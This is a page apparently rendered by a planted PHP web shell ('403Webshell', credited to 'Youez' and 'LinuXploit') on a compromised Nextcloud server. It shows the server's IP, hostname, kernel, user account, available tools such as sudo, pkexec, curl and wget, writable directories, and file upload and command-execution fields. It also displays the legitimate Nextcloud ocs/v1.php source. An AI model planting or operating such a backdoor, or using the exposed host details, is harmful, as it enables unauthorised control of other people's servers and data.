403Webshell
Server IP : 85.214.143.32  /  Your IP : 216.73.216.142
Web Server : nginx/1.24.0
System : Linux datensicherung.webdress.site 6.8.0-139-generic #139-Ubuntu SMP PREEMPT_DYNAMIC Sat Aug 1 03:52:05 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/nextcloud/ocs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/nextcloud/ocs/v1.php
<?php

declare(strict_types=1);

/**
 * SPDX-FileCopyrightText: 2016-2024 Nextcloud GmbH and Nextcloud contributors
 * SPDX-FileCopyrightText: 2016 ownCloud, Inc.
 * SPDX-License-Identifier: AGPL-3.0-only
 */

require_once __DIR__ . '/../lib/versioncheck.php';
require_once __DIR__ . '/../lib/base.php';

use OC\OCS\ApiHelper;
use OC\Route\Router;
use OC\SystemConfig;
use OC\User\LoginException;
use OCP\App\IAppManager;
use OCP\AppFramework\Http;
use OCP\AppFramework\OCSController;
use OCP\IConfig;
use OCP\IRequest;
use OCP\IUserSession;
use OCP\Security\Bruteforce\MaxDelayReached;
use OCP\Server;
use OCP\Util;
use Psr\Log\LoggerInterface;
use Symfony\Component\Routing\Exception\MethodNotAllowedException;
use Symfony\Component\Routing\Exception\ResourceNotFoundException;

$request = Server::get(IRequest::class);

$serveAppApiDuringMaintenance = false;
if (!Util::needUpgrade() && Server::get(IConfig::class)->getSystemValueBool('maintenance')) {
	$pathInfo = $request->getPathInfo();
	// AppAPI must keep serving HaRP traffic (signed OCS calls and ExApp callbacks)
	$serveAppApiDuringMaintenance
		= ($pathInfo === '/apps/app_api' || str_starts_with($pathInfo, '/apps/app_api/'))
		&& Server::get(IAppManager::class)->isEnabledForAnyone('app_api');
}

if ((Util::needUpgrade()
	|| (Server::get(IConfig::class)->getSystemValueBool('maintenance') && !$serveAppApiDuringMaintenance))
	&& $request->getPathInfo() !== '/core/update') {
	// since the behavior of apps or remotes are unpredictable during
	// an upgrade, return a 503 directly
	ApiHelper::respond(503, 'Service unavailable', ['X-Nextcloud-Maintenance-Mode' => '1'], 503);
	exit;
}

/*
 * Try the appframework routes
 */
try {
	$appManager = Server::get(IAppManager::class);
	$appManager->loadApps(['session']);
	$appManager->loadApps(['authentication']);
	$appManager->loadApps(['extended_authentication']);

	$request->throwDecodingExceptionIfAny();

	if ($request->getPathInfo() !== '/core/update') {
		if ($serveAppApiDuringMaintenance) {
			// loadApps() below is a no-op during maintenance, load app_api explicitly
			$appManager->loadApp('app_api');
		}
		// load all apps to get all api routes properly setup
		// FIXME: this should ideally appear after handleLogin but will cause
		// side effects in existing apps
		$appManager->loadApps();
		if (!Server::get(IUserSession::class)->isLoggedIn()) {
			OC::handleLogin($request);
		}
	} else {
		$appManager->loadApps(['core']);
	}

	Server::get(Router::class)->match('/ocsapp' . $request->getRawPathInfo());
} catch (MaxDelayReached $ex) {
	ApiHelper::respond(Http::STATUS_TOO_MANY_REQUESTS, $ex->getMessage());
} catch (ResourceNotFoundException $e) {
	$txt = 'Invalid query, please check the syntax. API specifications are here:'
		. ' http://www.freedesktop.org/wiki/Specifications/open-collaboration-services.' . "\n";
	ApiHelper::respond(OCSController::RESPOND_NOT_FOUND, $txt);
} catch (MethodNotAllowedException $e) {
	ApiHelper::setContentType();
	http_response_code(405);
} catch (LoginException $e) {
	ApiHelper::respond(OCSController::RESPOND_UNAUTHORISED, 'Unauthorised');
} catch (\Exception $e) {
	Server::get(LoggerInterface::class)->error($e->getMessage(), ['exception' => $e]);

	$txt = 'Internal Server Error' . "\n";
	try {
		if (Server::get(SystemConfig::class)->getValue('debug', false)) {
			$txt .= $e->getMessage();
		}
	} catch (\Throwable $e) {
		// Just to be save
	}
	ApiHelper::respond(OCSController::RESPOND_SERVER_ERROR, $txt);
}

Youez - 2016 - github.com/yon3zu
LinuXploit